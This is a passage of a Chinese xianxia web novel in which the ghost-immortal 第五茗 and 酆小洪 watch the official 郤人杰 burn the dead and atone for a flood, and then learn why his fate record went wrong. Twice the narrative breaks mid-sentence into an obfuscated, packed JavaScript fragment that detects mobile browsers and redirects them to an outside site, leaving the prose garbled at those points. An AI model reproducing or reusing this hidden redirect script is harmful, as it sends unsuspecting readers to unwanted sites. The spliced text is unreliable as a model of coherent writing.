第五茗辩道:“十一伯手上一直都有这些划痕。” 闻言,酆小洪点头赞同,没有否定第五茗,而是继续说着下一条凭证,道:“第二,此地用来休憩的板棚被砍了,火里烧着了一些。” 他拍着两人座下的一些篷布,又从地上拿起一把斧头,才慢慢道:“十一伯后来砍了这些做材火,便舍了卡在洞里的木材,斧子侧面上有一些树皮浆液,有些板棚上的切口也有浆液,我想…十一伯应该是先砍树枝,再决定用这边的板棚的。” 在酆小洪说出第一条的时候,第五茗已经开始查看断裂的木桩上是否有树皮浆液了。 然酆小洪的回答,让她有一瞬莫名的熟悉,道:“就这两条?” “还有一条…” 说着,酆小洪神色暗了下去,有一种不被信任的失落感,道:“上君不相信我先前说的。” 坐在篷布上不好挪动,听到这句话,又看见了对方暗淡的眼神,第五茗诧异的后仰了些许身体。 她摇摇晃晃中,酆小洪又继续道:“一个时辰后,天色已暗,收尸人…火葬…他不知这里有现成引火的东西,自是会从外面拿一些进来,而洞中的脚步声,应该是他在整理十一伯堵在洞中的木枝…” 第五茗刚刚根据十一伯和石料场的现状,也推演出了此番结论。 他们两对此的想法是一模一样。 第五茗惊叹道:“这么具体?” 似看穿了她的所思所想,酆小洪反问道:“上君难道不是这样想的?” 一刻即将过去,洞内除了脚步声,还有树枝被拖动在地的‘沙沙’声,答案即将被印证。 第五茗望着酆小洪出神,恍惚间,像是回到了渡劫之前,在地府戏玩小鬼们的那段日子。 解谜! 有一段时间,第五茗很迷人间的解谜,一般的诗词灯谜,对她这种活了太久的神仙来说,太无趣了,因为活得久,知道的也多,诗词灯谜千百年来不换一套的,答案她早就烂熟于心。 有一次啊,她见牛头马面,阴差审判在打赌,但他们赌的不是骰子,也不是天上地下常见的牌九… 而是她。 赌她! 那几日正好赶上第五茗渡雷劫,升仙阶,他们就拿她来做赌。 要说仙君之事有什么好赌的啊…基本都是按照定好的流程,时间到了,便去做该做的事,包括渡劫。 据那群鬼差们说,在当时,不了解的鬼看来,她身上的不定性因素太大了。 瞧着懒惰,好吃,爱睡觉,爱听故事,还贪嘴爱喝酒,没有一样正经的事,连为天庭司职在他们眼中,第五茗做得也是吊儿郎当,送上去的人,有擦肩而过的,有‘惊鸿一瞥’的,有醉酒后报送上去的,有吃饭时认识的,听故事随意抓来的,甚至还有经鬼差说两句好话的…这在鬼差们眼中就是不负责的表现。 更别提他们从未见她苦修过。 奈何,每次从天上下来的仙君,都会说第五茗的好话,以及第五茗还有三界都羡慕的天生神格一副,所以这群鬼差便依照收集的信息来打赌。 压她升阶成功的有一半,压她不成功的也有一半,金额大差不差,可只有第五茗自己知道,她在‘成功升阶’上,私自掏了多少钱,才将将和对面的赌码持平。 当时,也只有第五茗清楚,她啊…要血赚了! 小鬼们的信息面不足,不知她天生神格赋予她的是一双神眼,只需要看那么一眼,便是她所司职之事。 小鬼们自然也不知道,天生神格的好处。其中之一,就是不用苦修,睡睡觉,吃吃东西,入定片刻,就能吸纳灵气,法力便能充盈。 这场游戏,第五茗保留了下来。 她经常开局,以小鬼身上的东西,一起凭肉眼所见,去猜他们的遭遇,然后再听他们讲故事,验命格簿子。 最先还有鬼差来参与,长久以往,输了钱的鬼差们知道第五茗在这种局上不可能输后,就不和她玩了。 第五茗无聊,就自己和自己玩,寻了入局的小鬼做赌,若是她对了,小鬼们没有任何好处,当然,也不会受到惩罚。 反之,若是她猜不出来,那小鬼便能讨得赏赐。 神眼还在时,她只遇见过一只猜不出来的鬼,她当时不仅错了,反而还让那小鬼猜准了她。 事后,和那小鬼以其他小鬼做赌开了九千九百九十局,两人几乎是平手。 至少在她的记忆里,只有那小鬼玩【解谜】游戏,能心细如发,数条佐证,没有偏差。 眼前恍惚,第五茗思绪百转,低声叹气,心道:怎么会,这人太清冷了,那小鬼最是仗义,不像…不像… 回过神,她答道:“嗯,不出其右,和仙君猜想的一样。” 月上梢头,正好是一刻光阴流转,洞口那方,走出来一人,双手抱着一大捆木枝。 当看见这边杂乱堆砌的木材和篷布,以及上面躺着的老翁,那人丢了手上的东西,疾步跑了过来。 借着烧尸余下的微弱火光,第五茗看清了来人的着装和面容,惊呼道:“是他!背包袱的送葬人。” 酆小洪应道:“嗯,是他。” 束袖灰衣,同色行囊,没有冠和簪的松软发髻,来人正是郤人杰。 此番身上又多了一层夜色,衣服上还沾染了在石洞里蹭上的白灰,本就潦草不堪,如今更是狼狈。 他停在十一伯面前,伸出手,小心翼翼探了探鼻息,又从怀里掏出一块方布,先是放在脖颈上找寻生气,没有寻到,哀默一声,才把方布用随身携带的油壶浸染。 油过布上,本来还稀疏的针脚,被黏糊糊的油珠覆上。 郤人杰把油布盖在了十一伯面上,沉声道:“是我来迟了,这村上两百人,都没了。对不起…” 说完,他又折回山洞,拖出一大捆草药回到十一伯身边,烧出浓烟,在四周扫拂,接着把油壶里的油珠全倒在了十一伯和这堆木材篷布上。 见状,第五茗和酆小洪从篷布上起来,站到了一旁。 酆小洪思索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547200|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番,道:“上君可想知此人是谁?” 第五茗瘪嘴,摇头道:“不想…” 这答案出乎意料,让酆小洪准备好的话,咽了回去,问道:“为何?我以为上君会对他感兴趣。” 第五茗悠悠道:“因为答案我心中已知。” 酆小洪吃惊。 第五茗笑道:“还是刚刚我让你玩的那场游戏,这次换我,你只需点头摇头。” 酆小洪点头道:“好。” 第五茗竖起一指,道:“风有情可见过他?” 如约,酆小洪点了点头。 第五茗又折出一指,道:“可是那琉璃牌楼的主人?” 酆小洪又点了点头。 第五茗笑了笑,把手指全握了回去,抿唇道:“我既然知道龟妖阮瓀不是那倒霉的第四城隍,而他才是,又知道他是风有情点飞不上去的人,这就够了。他和几位帝君有关,所以我不问,也不想知道。” 犹豫了会,她摇头叹道:“他究竟是谁,我问了,又知道的太清楚了,到时候,指不定会惹上麻烦,你说我说的有没有道理?” 照旧,酆小洪还是点了点头,却欲言又止,但笑不语地看着第五茗。 一旁的烧尸堆里,郤人杰引出火苗,哗地一下,把这边也烧着了。 两堆火,一大一小,大的里面只烧着一具尸体,小的那堆有一百九十九具,里面的尸灰越烧越多,夜间起风,带走了一半,火跟着也小了一些。 第五茗身上一轻,少了尸身带来的禁制,绕石料场里的火堆走了好几圈,还试探地跑到了洞口处,虚无的身体对着地上的树枝踹了两脚,发泄完,又朝火堆旁的酆小洪,打趣道:“我肉身消,一没灵位需要天魂守,二没尸身需要地魂护,气魄也因大火烧毁全散了,如今总算是自由了。你倒是可怜了,有灵位,有根源,走不掉…” 她乐呵呵地笑,一眨眼间,酆小洪瞬息在旁,道:“上君…我不受禁…” 他语气颇为无奈。 第五茗笑容顿时僵住,拍着脑袋道:“我忘了,你恢复了法力,是仙君…先前我还靠着你才能行动的,忘了…忘了。” 打趣小鬼惯了,一时得意,竟把仙君也当小鬼,用来取乐了。 头上玄月高挂,现下,酆小洪倒是看着更着急一些,他道:“两无常去了许久,估计又出了什么岔子,我们去土地庙寻一寻?” 第五茗赞同道:“也好,鬼魂身体轻,别待会儿飘着飘着,他两找不到我,真成了凡间游荡的孤魂野鬼,那就惨了。” 眼中远处火光跳动,酆小洪否定道:“不会的…我会守在上君身边,你绝不会做孤魂野鬼。” 扑扑扑…心跳忽然乱了。 第五茗青白的脸,被夜里的火映得有一些红润,侧头,尴尬应道:“哦…是吗…哈哈哈…有仙君相伴就是方便哈…我…这火烤着真热…时间不早了,得去找埭骰埭桡大哥们了。” 这不是故事里才有的桥段吗… 这话不也是只有编故事的时候才用吗? 谁家好人,说这些起鸡皮疙瘩话啊!! 有病啊… 为了定心,第五茗默念起清心咒,‘清心如水,清水即心。微风无起,波澜不惊…’,才两句,就摇起头。 她小女儿模样,酆小洪倒是没怎么见过,柔声道:“嗯,是该早些上鬼道。” 石洞里还有些材枝顺靠在石壁上,地上全是枝叶拖动的痕迹,前面的脚印,只能隐约看见一个大致轮廓,来来回回,郤人杰之前在洞里,果然是在清理洞里十一伯留下的树枝。 第五茗和酆小洪直奔洞口另一端,到洞口时,一点天上玄月的光透了出来,白光一闪,第五茗猛然被一股力量召唤拖走。 脚下抵触,她双手想要抓住一个坚固的东西,来定住身子,却只来得及大喊一声,道:“仙君,救我!” 速度太快,根本来不及反应。酆小洪指尖法力凝聚,沿她消失的方向,瞬息而至,堪堪在石料场内才拉住她的手。 他自责道:“上君,是我大意了。” 第五茗心有余悸,道:“还好,还好…小命还在。” 双双站定在地,酆小洪关心道:“可有不适?” 第五茗摇了摇头。 手上有源源不断的法力涌来,可仍是有一股力量在拉着她的身体,向火光熄奄的方向拽动。 眼前一幕,瞬间让她心下了然,她道:“我知道了。” 举起二人交握的双手,第五茗另一只手示意酆小洪看向火堆旁跪拜在地的人,苦笑道:“他居然能给我刻铭牌碑。” 知道原因后,酆小洪明显松了一口气,握住第五茗的力道也减了一些,道:“上君受铭牌碑禁制,可觉难受?” 23. 命格簿子生变故1 作为鬼魂,死了要么等着鬼差送去入轮回,要么守着根源消散。 郤人杰在烧灰之处,给死去的人全部刻了铭牌碑,并在其上为所有人都附上了平安村义士之名,让本无所牵引的第五茗,身上又有了如同肉身锁魂一样的禁制。 现在郤人杰给了她根源,她再也不可能是孤魂野鬼了,作为平安村义士蒲小明,她凭一具魂身,也离不开此地了。 看着火光前的人,和那小小的牌位,第五茗有些无奈,又生出些莫名的担忧。 之所以担忧,是因为普通牌位主要是由亲友刻奉,多数都没有那么大的约束力。 方才,第五茗受的力度明显不小,这铭牌碑,不言而喻,自然也不是什么普通牌位。 依她看,郤人杰此举,更像是在为鬼魂登籍载册。 论世间能做这种事的人,他一得是仙官,二还得受万民及以上的供奉爱戴。 可琉璃牌楼没有升起来… 肉身未破,便不算仙。 第五茗沉吟不已,目光微暗,细细打量前方身影。 万民及以上的供奉爱戴,对凡人来说太简单了,只需要对方是一位清正廉明的好官,知晓这人的百姓都希望他长存于世,便足够达到条件了。 想到此处,她心里突突直跳,霎时,脑海中有一个名字呼之欲出。 她虽没见过此人,但风雨江两岸,乃至整个临安郡都知晓的一人,也是最符合这条件的人——郤人杰! 第五茗一直没回答酆小洪的话,望着火堆,眉头还越锁越深。 酆小洪十分懊恼,郤人杰都走到此处了,他还粗心大意,任由第五茗这副一击就破的魂魄独自走动,再一次关心道:“可是身体不舒服?” 说着,他手上法力瞬间暴涨。 一阵暖意,从手掌游走至全身,第五茗才想起旁边还有一人,道:“没事。” 顺铭牌碑的牵引,她拉着酆小洪朝火堆旁走去,道:“走到铭牌碑界内就没事了,仙君不用浪费法力。” 手上一紧,酆小洪道:“你没事就好。” 另一手,攀上腰间的佩印坠子,几度想要摘下来递给对方,但时机却不合适,他只能沉声道:“上君…你魂魄弱,还是小心为妙。” 二人到了火堆处,郤人杰依旧跪在地上,一拜一请罪,嘴里一遍一遍自诉【告亡魂】的罪状。 他道:“风雨江使郤人杰,在位有三罪。过水湖积年累月,淤泥堵塞泄水河渠,然我却不查,致使临安郡百姓陷于危难,此为一罪;风雨江挡水坝初建,却为我一朝炸毁,至洪水翻涌上岸,此为二罪;朝廷公银,我擅自挪用,让两岸灾情不减反增,刚渡洪患又经疫病,此为三罪。为官不查,为臣不忠,为夫不坚,为人不义,此间罪身,不求亡魂宽宥,但求平安村义士蒲小明泉下安息。” 磕头跪拜,又起身复述罪责,他念道:“风雨江使郤人杰,在位有三罪。过水湖积年累月…” 桩桩非他所愿,非他所为,却把罪责都揽在了自己身上——这便是人帝所愿,以一臣告慰天下。 整整两百次,次次诚恳——这就是天帝不仁,此良人,若肯提至上仙,便可让他挥挥衣袖解决灾情,何至于如此折辱,又如此辛苦。 每一遍都只为一刻名之人,每一遍过后,郤人杰身体就虚弱一分。 两百次跪拜,终是让他瘫倒在地,急喘不止,和患了疫病的百姓一个症状,而他…并未患疾,缘是他凡人之躯,受神火烧灼之刑,疼痛难忍才生这般反应。 伴随而至,微弱的金辉在第五茗和酆小洪身上同时燃烧。 第五茗受苦难影响的身体顿时轻松了不少,连带着下三道的罪孽也都跟着解了一些,魂魄更是比之前刚离开肉身时,强壮了不少。 金辉这种东西,第五名是再熟悉不过了。 烧神格,烧法力,烧功德,烧世间一切有灵气的东西,都会出现这层光泽。 而她是第一次收到别人为她烧出的金辉。 心中大震,第五茗道:“他是郤人杰,对吗?” 她还是想再确认一次。 酆小洪点头,道:“嗯,是他。” 可天象并没有显示有大功德之人… 突然反应过来,风雨江之事,天帝横插在其中,若郤人杰真没什么能力,风有情又怎么会去提前拔那琉璃牌楼呢? 定是天帝因为风雨江之事波及太大,舍了郤人杰,才让天象没了异色。 反应过来,第五茗又问道:“他知道自己曾身怀大功德吗?” 酆小洪答道:“知道。” ‘知道’两字被他人轻巧说出,可知当事人需要怎样的毅力来承受这样的结果。 飞升上天,是个凡人便会有此心愿,更遑论还是百分百飞升之人,怎会无端放弃这千载难逢的好机会。 第五茗道:“他一路三叩九拜,非是寻常祭拜,而是在散功德,以业力解因果,会不得善终,他也知道吗?” 问到此处,连酆小洪都不免叹了一口气,缓缓道:“知道。” 真是一个傻子! 第五茗心里这样骂着,嘴上却替郤人杰不甘,道:“过水湖崩溃,风雨江决堤,真的就没得选吗?应该还有别的办法吧?” 这次,酆小洪的摇头和话是一致了,他道:“没有,这是最有利的办法。” 眼中悲恸,第五茗感叹道:“已经死了这么多人,还要再死一个好人。” 虽到了铭牌碑附近,她早就不需要酆小洪法力拉扯,但对方手没有松开,法力也没有收回,感叹完这一句,她便私下借来用了用。 另一手藏在袖中,她指诀掐出,须臾,在袖中凭空翻出了郤人杰的命格簿子。 其中写道… 郤人杰,临安郡人士,德才兼备,性情温良。幼时在过水湖旁学院受教,结识通渠少女阮瓀,结为良缘。入京赴考,高中进士,后为临安郡风雨江使,一身为官清廉,受百姓爱戴。 优等命格一副。 此生劫数: 情劫,良配阮瓀命绝于风雨江,自此,郤人杰情缘了断,一心治水。 官劫,同僚诬陷,公银私盗,受牢狱之灾,此劫过后,身心为民。 死劫,为君而死,忠心之至,高风亮节,后世受万民敬仰。 看到这里,第五茗很是不解:不对…不对… 本子出问题了? 怎么都对不上… 良配阮瓀明明是一只小妖,同僚诬陷,从头至尾她都没听说过有此事发生…更别说为君而死,风雨江之灾,郤人杰明面上还是半个罪魁祸首,根本谈不上是为君尽忠。 手中纸页来来回回翻了数遍,本子上的内容丝毫没有变化,第五茗不管如何比对,郤人杰的命数都和实际发生的事对不上。 她的小动作都落在了酆小洪眼里。 酆小洪附耳道:“上君若是想知道什么,可以问我,他的命格有异,并非像本子上写的那样简单。” 突然靠近,让第五茗小退了半步。 命格有异,还真是稀奇事。 偷偷用法力的事被道破后,第五茗平复好神情,也不再藏着掖着,伸出缩在袖子里的手,拿着命格簿子举在面前,又抬起另一只手,在酆小洪眼前松开了两人交握的手掌,待命格簿子因为没有法力支撑,挥挥散去时,才舔问道:“仙君真知郤人杰身上发生的事?” 她这模样,当真是不像一个做过仙君的人。 酆小洪眼中一颤,浅浅道:“嗯,其中缘由,知道个七七八八。” 第五茗诧异道:“居然不是一二…” 一路走到现在,她见过酆小洪经常‘踩鬼差’撒气,又捡冥钱、又在死人堆里穿‘大吉’红衣,偶尔还有一丝丝黏人和撒娇小脾气,她便觉得‘酆小洪’是一个仙阶一般般的小仙君。 听到此言,第五茗自是会对他知道命数一事的信息量感到惊讶,这可是真君帝君都不一定能参透的东西,若不是第五茗做过司命,她都不会相信命格簿子会出问题。 酆小洪道:“这件事,是比‘别人’知道的多一点点。” 他婉婉道来,仿佛这人的故事,是他所写一般,但因其中有很多不可佐证之言,便看起来像他道听途说而来。 郤人杰的故事还要从他出生前开始讲起。 话说,他是郤家夫妇在东岳庙里求来的鬼子。 早年,郤家夫妇数年求神拜佛,吃药修身,都未能怀上一子。 那年恰逢东岳庙会,两人稀里糊涂,对着掌管阴间之事的主,求上了这怀胎生子一事。 说来也奇怪,那天晚间,两人照常房事,照常累至半夜才入睡,可却双双都入了梦,且梦里还见到了东岳帝君。 梦醒后,郤家夫人隔月就怀上了胎,隔年便生下了郤人杰。 郤人杰命数好,无灾无难,一直到过水湖书院念书。 天帝从文曲星君处知道了郤人杰这号灵性人物,正准备观其何时能上天,却发现郤人杰因有情劫、官劫、死劫,凡人飞升中,最难突破的三劫难在身,很是难自修悟道飞升。 天帝惜才,遣了雷部真君风有情下界去看看情况,实在不行,就拔一牌楼起来,先点飞,再提携。 这里不得不说一下,也正是因为如此,风有情才会有机会路过平安村,见到落困的第五茗,也正是因为如此,他才会于心不忍,私自化作一道士入村去帮协。 可能是此一行,让风有情漏了踪迹,泄露了天机。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547201|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 传言,刚脱离天界自成一派的冥界正是缺人,东岳帝君探得天机,知道天帝想把他投进人间的好苗子给抢了,便横插一脚,从中作梗,力挽狂澜。 至于做了了什么,无人得知。 这一则,便是其中无从考证的一处。 又说回风有情这边,纵使郤人杰灵性之至,也比不得当初第五茗神眼觅寻的那些人。 郤人杰渡不过三劫难。 他接触过郤人杰后,还没回天界,因其德行,便先去城隍庙为郤人杰拔起了一座琉璃牌楼,并去司命府,将郤人杰的情劫、官劫都消了,只留了一个最光彩的死劫。 情劫,风有情将还未与郤人杰见面的通渠少女,让司命该成了早夭的落水少女。 二人不相见,郤人杰就没有此劫。 而官劫,他则是将同僚公银贪污之事,让司命补写出许多马脚,让郤人杰在事发之前,便能一眼分辨。 降低了此劫的难度,又相当于替郤人杰没了一劫。 按理来说,风有情让司命府如此大概,郤人杰应当飞升无疑,然而所有人都没想到,通渠少女提前落水了,却及时来了一名龟妖少女通渠,那龟妖居然也叫阮瓀。 公银贪污之事,郤人杰就是知道为同僚陷害,他也一力担下了。 故事到这里,第五茗想起在土地庙里时,听人妖之恋的本子,她为何会觉得稀奇的事了。 司命府根本就不会写这么奇怪的命格簿子,只可能是那不受控的天命天道,喜欢折腾点稀奇东西出来。不仅如此,恐怕在郤人杰遇见仙君风有情和小妖阮瓀后,他的命数便不是一份命格簿子能决定的了。 第五茗疑惑道:“郤人杰当真是东岳帝君投下凡的?这命格听着,很像是受了天生神格影响,或是有帝君真君插足…以前我遇见过一名送酒小鬼,因受我神格左右,白白损失了几十世轮回。” 「小鬼送酒」,在地府很出名,倒不是小鬼送酒的毅力有多可歌可泣,而是天生神格的仙君第五茗,因这只小鬼沾上了饮酒的习惯,让地府鬼差受了不少罪,大家自然而然就得记点‘小鬼恩’。 酆小洪自然也是知道的。 他道:“东岳仙府的确插手了郤人杰的事。但怀子一事是假的,据我所知,东岳仙府是在雷帅风有情下凡后才知道此人。不过,东岳帝君的确也瞧上了此人,可先来后到,那时候还轮不上东岳仙府。” 其中有一点,第五茗格外好奇,道:“那夜,东岳帝君究竟入没入梦呢?按理说…帝君也极易影响凡人命格,若是没入梦,命数又怎么会脱离簿子内呢?单凭风有情,当是做不到的啊。” 虽是问,第五茗心中早有了答案。 算算时间,那日正巧是东岳庙会,白日,郤家夫妇还拜神祈愿,夜间,神明入梦,这事太常规了。 要知道,但逢神明圣诞期间,仙君们都会选一信众还愿,尤其爱以深夜入梦最多。 她分析的声音越来越小,酆小洪还是听清了,他清了清嗓子,有一丝尴尬,道:“上君推演的是对的,那晚东岳帝君是入了那二人梦中,可能是因为此事,影响了投胎之魂的命数吧。” 还真是这样。 第五茗提起劲儿来,询问道:“仙君可知帝君为何会入梦?两名凡人怎么能请动帝君呢?以后我也学学,指不定能派上用场。” 酆小洪面容纠结,半天,才吐出一个字,道:“这…” 吞吞吐吐,犹犹豫豫,第五茗还是第一次见酆小洪这般不干脆利落,急忙道:“看来你是知道的。” 好奇心驱使,让她拱手希求道:“仙君,大度些,我就是好奇,也不一定会找帝君麻烦。” 叹气一声,酆小洪有所顾虑道:“上君听一听便罢了,这法子着实…恶心人。” 第五茗第一次听说信众祈愿‘恶心神’的,一脸纳闷,道:“仙君你说说,我也就听听,帝君没那么闲,我也没那么无聊,你听来的也只是传言嘛。” 他倒希望真是传言。 浑身紧绷,如亲身所临一般,酆小洪咬牙切齿,一喘一顿道:“那日恰好是东岳庙会,二人参加完庙会,正好住在东岳庙附近的客栈,为了求子,他们有日日行房事的习惯。” “在神佛附近的客栈,无所顾忌的两相交濡,直至深夜,直到昏睡在床。可能因为一直没有怀上子嗣,白日里又刚刚拜了神,昏睡之时,执念太深,二人梦境竟然交融。” “而那梦境是在东岳庙内的东岳帝君神像前,二人嘴上求子,两具身体却在行人事。” “东岳帝君为祈愿中怪异的声音惊扰,便落于神像中查看,眼前光景甚是骇人…一不小心,东岳帝君从神像里跌了出来,击碎二人梦境。这才有了二人梦中见仙的事。” 24. 命格簿子生变故2 难怪恶心人… 第五茗一时之间,不知是应该夸这对夫妇幸运呢?还是应该怜悯东岳帝君和郤人杰呢… 她目瞪口呆,一时之间不知道该搭什么话。 须臾,她安慰道:“仙君消消气。” 她也不知为何要安慰酆小洪消消气,只是觉得应该说这话,转口又道:“可否继续说说那郤人杰的事?他父母之事想来是做得过火了,但人性应该不差,不然帝君当场便会动怒,那时,他们别说是生下郤人杰,就是自身也难保。” 她说的对。 郤家夫妇是受执念影响,误造此境,而非本意,所以东岳帝君并没有迁怒。 酆小洪也知道第五茗是有意转移话题,“嗯”了一声,扫了眼地上喘息声渐渐平复的郤人杰,又继续讲起他的后半段故事。 郤人杰命数的异常,原因正出在那情劫和官劫。 司命写命数,喜欢把凡人的命数分开写,一个劫难就只是一拨人一件事。 而郤人杰,受风有情影响,因司命中途改命数,和龟妖出现,让他的情劫与官劫绕在了一起,变成了一个大劫。 这还得先说说郤人杰和阮瓀相恋之事,正如阮瓀在土地庙内所自述的,他们相识于过水湖东河道,因通渠一事结缘,结缘后精通水患治理的阮瓀,又助力了郤人杰成为风雨江使一事。 才子佳人,心心相印,阮瓀多次救郤人杰于江水之中,郤人杰又体贴细致,除了治水,便满心满眼疼爱妻子阮瓀。 二人可谓是春深似海,连枝共冢。 直到风雨江越来越好,郤人杰身上的功德溢满,金辉渐成…阮瓀这才知道郤人杰幼时见过仙君之事,又从附近土地处得知,城隍庙内早有一座「碧血丹心」的琉璃牌楼为郤人杰而拔。 在三界,仙和妖在一起是大忌,阮瓀知道郤人杰即将离开她,痴缠之心顿起,妖心蒙尘,竟私下联系到官劫中,哪欲陷害郤人杰的同僚,一起盗走了修建水坝的公银,还在东河道闹出‘过水湖水即将干涸,天灾将至,保湖中水,才能保百姓安’的谣言,让临安郡百姓在东河道自发地填堵上淤泥,阻止湖水外泄。 天灾暴雨降下时,天帝以为是郤人杰那既定的死劫——以身殉职,为君抵消灾怒,名垂千史。 便没有及时给人帝示警。 没想到,暴雨月余,久久不停,又因挡水坝迟迟未竣工,过水湖积水过多,临安郡数百万性命被迫身处危难之中。 郤人杰的求救消息都被阮瓀拦了下来,直到过水湖大妖湖主发现阮瓀所行之事,担心危机自身,这才带走了阮瓀,警告了郤人杰,又向四方派送了此地消息。 可是已经来不及了。 湖水与江水即将崩溃… 郤人杰在大劫中生了贪心,他既想救临安郡百姓,又想救妻子阮瓀。 凡人之躯,怎么能与天抗衡,又怎么能想出两全之策。 临发水之际,郤人杰却突然给出了解决办法。他主动找上了大妖湖主,以身上可取功德换阮瓀平安,并主动揽责,立誓不拖连大妖湖主及过水湖内生灵,而湖主除了放了阮瓀,还需在他回风雨江炸挡水坝之时,让湖中万顷鱼虾同时游渠带走东河道的淤泥,避免大水害祸及整个临安郡。 湖主受此磨难,虽得了些功德,心里终究是有些不舒坦,竟把郤人杰所安排之事全数告知了阮瓀,还监督阮瓀以戴罪之身亲自驱使鱼虾通渠。 洪水猛至,保住了临安郡,却让整个风雨江两岸遭了殃。 没有死伤数百万,却还是有数万百姓丧命。 地上传来一阵重重的呼气声,酆小洪停了下来,和第五茗一起看向地上的人。 郤人杰身上的刑罚结束了,让他有了一点力气,他深喘着,支撑起身子,坐了起来,手颤巍巍地从包袱里掏出一本册子,那册子不知道摸索了多少次,页边的厚度比札线的地方竟要厚上两倍。 页内,密密麻麻,蝇头小楷,全是名字。 他照旧,从火堆里摸出一截黑炭,磨尖了碳端,借着十一伯这边火堆里的光,一个一个地比对姓名,一个一个地在上面画上一笔。 第五茗见状,眉头紧锁,道:“他已经救了临安郡,也替阮瓀背下了水患和公银之事,该还的债算是还清了。烧功德…呵,难怪龟妖阮瓀能在亡魂身上寻到他的气息。” 越想越愤,怒气顿起,心有不平,她猛然震声道:“这法子是谁告诉他的!天灾不该天界之人下界解决吗?!!” 惊了一跳,酆小洪没想过第五茗会突然生气,道:“上君觉得呢?” 行事作风如此熟悉,第五茗又怎么会想不到呢。 早先能以祭献十七个孩童来清缴魔界,今朝这天灾,只消一人,他们自然也能做得出。 因为…这不管怎么算,于他们而言都是一笔划算的买卖。 第五茗蓦地想起那十七个被选中丧命的小孩,苦笑道:“上天还真是一如既往啊。” 末了,她对地上坐着的人,埋怨道:“再怎样走投无路,怎么能去求天上那帮人呢…真是个傻子!” 她知道他听不见,可她还是讲了。 酆小洪眉头紧拧,欲言又止。 话音还未散去,第五茗又傻笑起来,道:“我怎么有资格说他呢,哎…这么快就忘记,果真是身体不行了,自己做人那阵,不也曾一时糊涂向神灵许愿吗?” 她脑中,竟能想象出,当时郤人杰有多无助。 想保的百姓,他保不住,想护的爱人,他也守不住。 仙君求神,天灾难抗,神格影响…酆小洪一怔,脱口问道:“上君曾祈愿了?你许了什么愿?向哪些仙君?” 两人身上郤人杰烧出的金辉依旧,并未有半点变化,可他却紧紧盯着第五茗身上的变化,丝毫不敢松懈。 第五茗不知酆小洪为何如此反应,仔细回忆着,敛了情绪,想起一点,回答一点,道:“那时候水患不断,日日吃不饱,忧闷之时就会在同村人求福报时顺带向天一祈,希望风雨江来一名好官,将水潮平息。应该也曾同十一伯他们一样为临安祈愿过风调雨顺,人人吃饱饭,反正就是被十一伯他们拉去的时候,顺带祈上一祈。” 平安村村民的确有随时跪拜,在平地空旷的地方对天求福的习惯。 那时候,酆小洪受肉身所累,并没有时时在第五茗身边,并不清楚她有这些行为,如今听闻,心中越发焦灼… 第五茗有神格在天,因受了下三道衰气影响,诉求之事,往往会背道而驰,若是小神小仙也就罢了,求上大神大仙,大事大愿,那效力不堪想象。 幸好,她和他身上,金辉正在如常慢慢暗淡消失,说明第五茗说的是实话,非求大神,也非祈大愿,因果不会累及自身。 冥界地府生死事相关的秘闻,酆小洪也是在泰山上苦修时,才探阅得知,不怪第五茗活了几万年,做人就真做成了凡人。 那厢,第五茗又仔细想了想,继续道:“后来风雨江使换人,平安村的日子越过越舒坦,让我有些贪眷,竟像个人一般,信了先前随意之为,便特意在上元节郑重祈求天官赐福。你说可笑不可笑,明明我以前也是一名仙官,明知仙官最是无情,却到头来还是求上他们了。” 说着,就呵呵笑起来,那面容却没有一丝喜悦,她眼睛盯着地上人,嘴角轻扯,似无尽的嘲讽。 她看着地上人,酆小洪却仔细地观察着她。 酆小洪安慰道:“并不是所有的仙官都冷漠无情。” 眸中星光闪烁,微微映出一人身影,他道:“我曾遇见过一位仙君,她如天星灿烂…” 第五茗戏谑,她以为酆小洪仙阶低下,没上过几次天,也没去过几次星海,刚听了一句,便打断酆小洪的话,道:“那是你看得少,天上星闪耀都是假象,那是为了欺骗地上人,引诱他们对天尊崇的伪装。你遇见的仙君,指不定就带着面具。” 她刚降生时,倒是经常去那片星海,起先不懂,后来活得久,知道得多了,才晓得里面都是些碎石头,连珠宝玉石都算不上。 对于天上仙,也因为活得久,她才知道他们和天上星一样,还没小鬼真。 一时不察,话说的有些过了。 听见对方低声传来一句“她不是那样的仙君。” 第五茗赶紧转移话题,道:“我还想起一些,后来中元节,对着地官好像也拜了拜,下元节同村里人出去时,似乎也顺口央了央水官。我也不是胡乱求神拜佛,想着他们三个仙阶高,拜他们指不定比拜天上那群人有用,但现在看来,好像没有用,我们不是照样历了水灾嘛。” 说到此处,她不免感叹道:“唉…倒是我忘了,我不该如此张狂的,我本就不配享好日子。这本子还是我多废了一碗血,改出来的,寿数都难得,更谈不上有福可享。” 忽而,转过头,才发现酆小洪一直盯着她看,视线对撞,她不好意思地垂眸躲避,尴尬笑道:“好好的,仙君怎么想起来问我这件事,这不会…” 糟了! 心中忐忑… 惊恐地搜索起地上人身影,她心安一分:还好,还在。 思忖片刻,她双唇颤抖道:“仙君这般问,神格影响命数,如果不是东岳帝君,也不是风有情的话,临安郡是我降世之地,郤人杰是辖地之官,你的意思,他该不会是我害的吧?” 求神之问出口时,酆小洪就知道第五茗会想到此处,他接话,干脆地道:“不是,上君勿自扰,他本就是这命数。” 